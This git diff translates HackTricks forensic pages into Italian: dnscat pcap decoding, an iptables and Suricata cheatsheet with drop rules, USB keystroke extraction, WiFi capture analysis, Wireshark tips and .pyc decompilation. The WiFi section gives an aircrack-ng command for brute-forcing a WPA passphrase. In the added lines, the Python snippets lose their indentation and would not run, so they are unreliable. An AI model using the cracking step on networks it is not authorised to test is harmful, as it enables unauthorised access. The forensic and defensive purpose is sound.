rdpcap('ch21.pcap'): - if p.haslayer(DNSQR) and not p.haslayer(DNSRR): +if p.haslayer(DNSQR) and not p.haslayer(DNSRR): - qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") - qry = ''.join(_.decode('hex') for _ in qry)[9:] - if last != qry: - print(qry) - f += qry - last = qry +qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") +qry = ''.join(_.decode('hex') for _ in qry)[9:] +if last != qry: +print(qry) +f += qry +last = qry #print(f) ``` - -For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +Per ulteriori informazioni: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) -There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) - +C'è uno script che funziona con Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) ``` python3 dnscat_decoder.py sample.pcap bad_domain ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md index 4be42c696..010415e62 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md @@ -4,16 +4,15 @@ ## Iptables -### Chains +### Catene -In iptables, lists of rules known as chains are processed sequentially. Among these, three primary chains are universally present, with additional ones like NAT being potentially supported depending on the system's capabilities. +In iptables, le liste di regole conosciute come catene vengono elaborate in modo sequenziale. Tra queste, tre catene principali sono universalmente presenti, con altre come NAT che possono essere supportate a seconda delle capacità del sistema. -- **Input Chain**: Utilized for managing the behavior of incoming connections. -- **Forward Chain**: Employed for handling incoming connections that are not destined for the local system. This is typical for devices acting as routers, where the data received is meant to be forwarded to another destination. This chain is relevant primarily when the system is involved in routing, NATing, or similar activities. -- **Output Chain**: Dedicated to the regulation of outgoing connections. - -These chains ensure the orderly processing of network traffic, allowing for the specification of detailed rules governing the flow of data into, through, and out of a system. +- **Input Chain**: Utilizzata per gestire il comportamento delle connessioni in entrata. +- **Forward Chain**: Impiegata per gestire le connessioni in entrata che non sono destinate al sistema locale. Questo è tipico per i dispositivi che fungono da router, dove i dati ricevuti devono essere inoltrati a un'altra destinazione. Questa catena è rilevante principalmente quando il sistema è coinvolto nel routing, NATing o attività simili. +- **Output Chain**: Dedicata alla regolazione delle connessioni in uscita. +Queste catene garantiscono l'elaborazione ordinata del traffico di rete, consentendo la specifica di regole dettagliate che governano il flusso di dati dentro, attraverso e fuori da un sistema. ```bash # Delete all rules iptables -F @@ -50,11 +49,9 @@ iptables-save > /etc/sysconfig/iptables ip6tables-save > /etc/sysconfig/ip6tables iptables-restore < /etc/sysconfig/iptables ``` - ## Suricata -### Install & Config - +### Installazione e Configurazione ```bash # Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages # Ubuntu @@ -64,7 +61,7 @@ apt-get install suricata # Debian echo "deb http://http.debian.net/debian buster-backports main" > \ - /etc/apt/sources.list.d/backports.list +/etc/apt/sources.list.d/backports.list apt-get update apt-get install suricata -t buster-backports @@ -80,7 +77,7 @@ suricata-update ## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml default-rule-path: /var/lib/suricata/rules rule-files: - - suricata.rules +- suricata.rules # Run ## Add rules in /etc/suricata/rules/suricata.rules @@ -92,7 +89,7 @@ suricata -c /etc/suricata/suricata.yaml -i eth0 suricatasc -c ruleset-reload-nonblocking ## or set the follogin in /etc/suricata/suricata.yaml detect-engine: - - rule-reload: true +- rule-reload: true # Validate suricata config suricata -T -c /etc/suricata/suricata.yaml -v @@ -101,8 +98,8 @@ suricata -T -c /etc/suricata/suricata.yaml -v ## Config drop to generate alerts ## Search for the following lines in /etc/suricata/suricata.yaml and remove comments: - drop: - alerts: yes - flows: all +alerts: yes +flows: all ## Forward all packages to the queue where suricata can act as IPS iptables -I INPUT -j NFQUEUE @@ -120,76 +117,70 @@ Type=simple systemctl daemon-reload ``` +### Definizioni delle Regole -### Rules Definitions - -[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) A rule/signature consists of the following: - -- The **action**, determines what happens when the signature matches. -- The **header**, defines the protocol, IP addresses, ports and direction of the rule. -- The **rule options**, define the specifics of the rule. +[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Una regola/firma consiste nei seguenti elementi: +- L'**azione**, determina cosa succede quando la firma corrisponde. +- L'**intestazione**, definisce il protocollo, gli indirizzi IP, le porte e la direzione della regola. +- Le **opzioni della regola**, definiscono i dettagli specifici della regola. ```bash alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;) ``` +#### **Le azioni valide sono** -#### **Valid actions are** +- alert - genera un avviso +- pass - interrompe ulteriori ispezioni del pacchetto +- **drop** - scarta il pacchetto e genera un avviso +- **reject** - invia un errore RST/ICMP di destinazione non raggiungibile al mittente del pacchetto corrispondente. +- rejectsrc - stesso di _reject_ +- rejectdst - invia un pacchetto di errore RST/ICMP al destinatario del pacchetto corrispondente. +- rejectboth - invia pacchetti di errore RST/ICMP a entrambe le parti della conversazione. -- alert - generate an alert -- pass - stop further inspection of the packet -- **drop** - drop packet and generate alert -- **reject** - send RST/ICMP unreachable error to the sender of the matching packet. -- rejectsrc - same as just _reject_ -- rejectdst - send RST/ICMP error packet to the receiver of the matching packet. -- rejectboth - send RST/ICMP error packets to both sides of the conversation. +#### **Protocolli** -#### **Protocols** - -- tcp (for tcp-traffic) +- tcp (per traffico tcp) - udp - icmp -- ip (ip stands for ‘all’ or ‘any’) -- _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) +- ip (ip sta per ‘tutti’ o ‘qualsiasi’) +- _protocolli layer7_: http, ftp, tls, smb, dns, ssh... (di più nella [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) -#### Source and Destination Addresses +#### Indirizzi di Origine e Destinazione -It supports IP ranges, negations and a list of addresses: +Supporta intervalli IP, negazioni e un elenco di indirizzi: -| Example | Meaning | -| ----------------------------- | ---------------------------------------- | -| ! 1.1.1.1 | Every IP address but 1.1.1.1 | -| !\[1.1.1.1, 1.1.1.2] | Every IP address but 1.1.1.1 and 1.1.1.2 | -| $HOME_NET | Your setting of HOME_NET in yaml | -| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET and not HOME_NET | -| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 except for 10.0.0.5 | +| Esempio | Significato | +| ----------------------------- | -------------------------------------------- | +| ! 1.1.1.1 | Ogni indirizzo IP tranne 1.1.1.1 | +| !\[1.1.1.1, 1.1.1.2] | Ogni indirizzo IP tranne 1.1.1.1 e 1.1.1.2 | +| $HOME_NET | La tua impostazione di HOME_NET in yaml | +| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET e non HOME_NET | +| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 tranne 10.0.0.5 | -#### Source and Destination Ports +#### Porte di Origine e Destinazione -It supports port ranges, negations and lists of ports +Supporta intervalli di porte, negazioni e elenchi di porte -| Example | Meaning | -| --------------- | -------------------------------------- | -| any | any address | -| \[80, 81, 82] | port 80, 81 and 82 | -| \[80: 82] | Range from 80 till 82 | -| \[1024: ] | From 1024 till the highest port-number | -| !80 | Every port but 80 | -| \[80:100,!99] | Range from 80 till 100 but 99 excluded | -| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4 | +| Esempio | Significato | +| --------------- | ------------------------------------------ | +| any | qualsiasi indirizzo | +| \[80, 81, 82] | porta 80, 81 e 82 | +| \[80: 82] | Intervallo da 80 a 82 | +| \[1024: ] | Da 1024 fino al numero di porta più alto | +| !80 | Ogni porta tranne 80 | +| \[80:100,!99] | Intervallo da 80 a 100 ma 99 escluso | +| \[1:80,!\[2,4]] | Intervallo da 1-80, tranne le porte 2 e 4 | -#### Direction - -It's possible to indicate the direction of the communication rule being applied: +#### Direzione +È possibile indicare la direzione della regola di comunicazione applicata: ``` source -> destination source <> destination (both directions) ``` +#### Parole chiave -#### Keywords - -There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more! - +Ci sono **centinaia di opzioni** disponibili in Suricata per cercare il **pacchetto specifico** che stai cercando, qui verrà menzionato se viene trovato qualcosa di interessante. Controlla la [**documentazione**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) per ulteriori informazioni! ```bash # Meta Keywords msg: "description"; #Set a description to the rule @@ -230,5 +221,4 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;) ## Drop by port drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;) ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 782e405aa..e0c7a2d1b 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -2,18 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +Se hai un pcap che contiene la comunicazione via USB di una tastiera come la seguente: ![](<../../../images/image (962).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) to get what was written in the communication: - +Puoi utilizzare lo strumento [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) per ottenere ciò che è stato scritto nella comunicazione: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +Puoi leggere ulteriori informazioni e trovare alcuni script su come analizzare questo in: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index f1371d5fa..49cf5b190 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,10 +1,10 @@ -# Wifi Pcap Analysis +# Analisi Wifi Pcap {{#include ../../../banners/hacktricks-training.md}} -## Check BSSIDs +## Controlla i BSSID -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +Quando ricevi una cattura il cui traffico principale è Wifi utilizzando WireShark, puoi iniziare a investigare tutti gli SSID della cattura con _Wireless --> WLAN Traffic_: ![](<../../../images/image (106).png>) @@ -12,29 +12,27 @@ When you receive a capture whose principal traffic is Wifi using WireShark you c ### Brute Force -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: - +Una delle colonne di quella schermata indica se **è stata trovata qualche autenticazione all'interno del pcap**. Se è così, puoi provare a forzarlo con `aircrack-ng`: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +Ad esempio, recupererà la passphrase WPA che protegge un PSK (pre shared-key), necessaria per decrittografare il traffico in seguito. -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +## Dati nei Beacon / Canale Laterale -## Data in Beacons / Side Channel +Se sospetti che **i dati vengano trasmessi all'interno dei beacon di una rete Wifi**, puoi controllare i beacon della rete utilizzando un filtro come il seguente: `wlan contains `, o `wlan.ssid == "NAMEofNETWORK"` cerca all'interno dei pacchetti filtrati stringhe sospette. -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +## Trova Indirizzi MAC Sconosciuti in una Rete Wifi -## Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +Il seguente link sarà utile per trovare le **macchine che inviano dati all'interno di una rete Wifi**: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Se già conosci **gli indirizzi MAC puoi rimuoverli dall'output** aggiungendo controlli come questo: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Una volta che hai rilevato **indirizzi MAC sconosciuti** che comunicano all'interno della rete, puoi utilizzare **filtri** come il seguente: `wlan.addr== && (ftp || http || ssh || telnet)` per filtrare il suo traffico. Nota che i filtri ftp/http/ssh/telnet sono utili se hai decrittografato il traffico. -## Decrypt Traffic +## Decrittografare il Traffico Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 6565bd680..5bf65a289 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -2,156 +2,154 @@ {{#include ../../../banners/hacktricks-training.md}} -## Improve your Wireshark skills +## Migliora le tue abilità con Wireshark -### Tutorials +### Tutorial -The following tutorials are amazing to learn some cool basic tricks: +I seguenti tutorial sono fantastici per imparare alcuni trucchi di base: - [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) - [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) - [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) - [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -### Analysed Information +### Informazioni analizzate -**Expert Information** +**Informazioni esperte** -Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**: +Cliccando su _**Analizza** --> **Informazioni esperte**_ avrai una **panoramica** di ciò che sta accadendo nei pacchetti **analizzati**: ![](<../../../images/image (256).png>) -**Resolved Addresses** +**Indirizzi risolti** -Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication. +Sotto _**Statistiche --> Indirizzi risolti**_ puoi trovare diverse **informazioni** che sono state "**risolte**" da wireshark come porta/trasporto a protocollo, MAC al produttore, ecc. È interessante sapere cosa è implicato nella comunicazione. ![](<../../../images/image (893).png>) -**Protocol Hierarchy** +**Gerarchia dei protocolli** -Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. +Sotto _**Statistiche --> Gerarchia dei protocolli**_ puoi trovare i **protocolli** **coinvolti** nella comunicazione e dati su di essi. ![](<../../../images/image (586).png>) -**Conversations** +**Conversazioni** -Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. +Sotto _**Statistiche --> Conversazioni**_ puoi trovare un **riassunto delle conversazioni** nella comunicazione e dati su di esse. ![](<../../../images/image (453).png>) -**Endpoints** +**Punti finali** -Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. +Sotto _**Statistiche --> Punti finali**_ puoi trovare un **riassunto dei punti finali** nella comunicazione e dati su ciascuno di essi. ![](<../../../images/image (896).png>) -**DNS info** +**Informazioni DNS** -Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. +Sotto _**Statistiche --> DNS**_ puoi trovare statistiche sulla richiesta DNS catturata. ![](<../../../images/image (1063).png>) -**I/O Graph** +**Grafico I/O** -Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** +Sotto _**Statistiche --> Grafico I/O**_ puoi trovare un **grafico della comunicazione.** ![](<../../../images/image (992).png>) -### Filters +### Filtri -Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -Other interesting filters: +Qui puoi trovare filtri wireshark a seconda del protocollo: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +Altri filtri interessanti: - `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic +- Traffico HTTP e HTTPS iniziale - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN +- Traffico HTTP e HTTPS iniziale + TCP SYN - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN + DNS requests +- Traffico HTTP e HTTPS iniziale + TCP SYN + richieste DNS -### Search +### Ricerca -If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column. +Se vuoi **cercare** **contenuti** all'interno dei **pacchetti** delle sessioni premi _CTRL+f_. Puoi aggiungere nuovi livelli alla barra delle informazioni principali (No., Tempo, Sorgente, ecc.) premendo il tasto destro e poi modificando la colonna. -### Free pcap labs +### Laboratori pcap gratuiti -**Practice with the free challenges of:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) +**Pratica con le sfide gratuite di:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) -## Identifying Domains +## Identificazione dei domini -You can add a column that shows the Host HTTP header: +Puoi aggiungere una colonna che mostra l'intestazione Host HTTP: ![](<../../../images/image (639).png>) -And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): +E una colonna che aggiunge il nome del server da una connessione HTTPS iniziale (**ssl.handshake.type == 1**): ![](<../../../images/image (408) (1).png>) -## Identifying local hostnames +## Identificazione dei nomi host locali -### From DHCP +### Da DHCP -In current Wireshark instead of `bootp` you need to search for `DHCP` +Nell'attuale Wireshark invece di `bootp` devi cercare `DHCP` ![](<../../../images/image (1013).png>) -### From NBNS +### Da NBNS ![](<../../../images/image (1003).png>) -## Decrypting TLS +## Decrittazione TLS -### Decrypting https traffic with server private key +### Decrittazione del traffico https con la chiave privata del server _edit>preference>protocol>ssl>_ ![](<../../../images/image (1103).png>) -Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) +Premi _Edit_ e aggiungi tutti i dati del server e la chiave privata (_IP, Porta, Protocollo, File chiave e password_) -### Decrypting https traffic with symmetric session keys +### Decrittazione del traffico https con chiavi di sessione simmetriche -Both Firefox and Chrome have the capability to log TLS session keys, which can be used with Wireshark to decrypt TLS traffic. This allows for in-depth analysis of secure communications. More details on how to perform this decryption can be found in a guide at [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). +Sia Firefox che Chrome hanno la capacità di registrare le chiavi di sessione TLS, che possono essere utilizzate con Wireshark per decrittare il traffico TLS. Questo consente un'analisi approfondita delle comunicazioni sicure. Maggiori dettagli su come eseguire questa decrittazione possono essere trovati in una guida su [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). -To detect this search inside the environment for to variable `SSLKEYLOGFILE` +Per rilevare questo cerca all'interno dell'ambiente la variabile `SSLKEYLOGFILE` -A file of shared keys will look like this: +Un file di chiavi condivise apparirà così: ![](<../../../images/image (820).png>) -To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename: +Per importarlo in wireshark vai su \_edit > preference > protocol > ssl > e importalo in (Pre)-Master-Secret log filename: ![](<../../../images/image (989).png>) -## ADB communication - -Extract an APK from an ADB communication where the APK was sent: +## Comunicazione ADB +Estrai un APK da una comunicazione ADB dove l'APK è stato inviato: ```python from scapy.all import * pcap = rdpcap("final2.pcapng") def rm_data(data): - splitted = data.split(b"DATA") - if len(splitted) == 1: - return data - else: - return splitted[0]+splitted[1][4:] +splitted = data.split(b"DATA") +if len(splitted) == 1: +return data +else: +return splitted[0]+splitted[1][4:] all_bytes = b"" for pkt in pcap: - if Raw in pkt: - a = pkt[Raw] - if b"WRTE" == bytes(a)[:4]: - all_bytes += rm_data(bytes(a)[24:]) - else: - all_bytes += rm_data(bytes(a)) +if Raw in pkt: +a = pkt[Raw] +if b"WRTE" == bytes(a)[:4]: +all_bytes += rm_data(bytes(a)[24:]) +else: +all_bytes += rm_data(bytes(a)) print(all_bytes) f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..610cfa43e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,61 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# Decompilare i binari python compilati (exe, elf) - Recuperare da .pyc {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## Da binario compilato a .pyc +Da un binario compilato **ELF** puoi **ottenere il .pyc** con: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +In un **eseguibile binario python** compilato puoi **ottenere il .pyc** eseguendo: ```bash python pyinstxtractor.py executable.exe ``` +## Da .pyc a codice python -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +Per i dati **.pyc** ("compilato" python) dovresti iniziare a provare a **estrarre** il **codice** **python** **originale**: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**Assicurati** che il file binario abbia l'**estensione** "**.pyc**" (in caso contrario, uncompyle6 non funzionerà) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +Durante l'esecuzione di **uncompyle6** potresti incontrare i **seguenti errori**: +### Errore: Numero magico sconosciuto 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +Per risolvere questo problema è necessario **aggiungere il numero magico corretto** all'inizio del file generato. -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**I numeri magici variano con la versione di python**, per ottenere il numero magico di **python 3.8** è necessario **aprire un terminale python 3.8** ed eseguire: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +Il **numero magico** in questo caso per python3.8 è **`0x550d0d0a`**, quindi, per risolvere questo errore dovrai **aggiungere** all'**inizio** del **file .pyc** i seguenti byte: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**Una volta** che hai **aggiunto** quell'intestazione magica, l'**errore dovrebbe essere risolto.** +Ecco come apparirà un **intestazione magica .pyc python3.8** correttamente aggiunta: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### Errore: Decompilazione errori generici -### Error: Decompiling generic errors +**Altri errori** come: `class 'AssertionError'>; co_code dovrebbe essere uno dei tipi (, , , ); è di tipo ` possono apparire. -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +Questo probabilmente significa che **non hai aggiunto correttamente** il numero magico o che non hai **usato** il **numero magico corretto**, quindi assicurati di usare quello corretto (o prova uno nuovo). -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +Controlla la documentazione degli errori precedenti. -Check the previous error documentation. +## Strumento Automatico -## Automatic Tool +Il [**tool python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) funge da combinazione di diversi strumenti disponibili nella comunità progettati per assistere i ricercatori nello smontaggio e nella decompilazione di eseguibili scritti in Python, specificamente quelli creati con py2exe e pyinstaller. Include regole YARA per identificare se un eseguibile è basato su Python e conferma lo strumento di creazione. -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: Nome file: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' non esiste -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +Un problema comune riscontrato coinvolge un file di bytecode Python incompleto risultante dal **processo di smontaggio con unpy2exe o pyinstxtractor**, che poi **non viene riconosciuto da uncompyle6 a causa di un numero di versione di bytecode Python mancante**. Per affrontare questo, è stata aggiunta un'opzione di prepend, che aggiunge il numero di versione di bytecode Python necessario, facilitando il processo di decompilazione. +Esempio del problema: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Analizzare l'assembly di python -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but 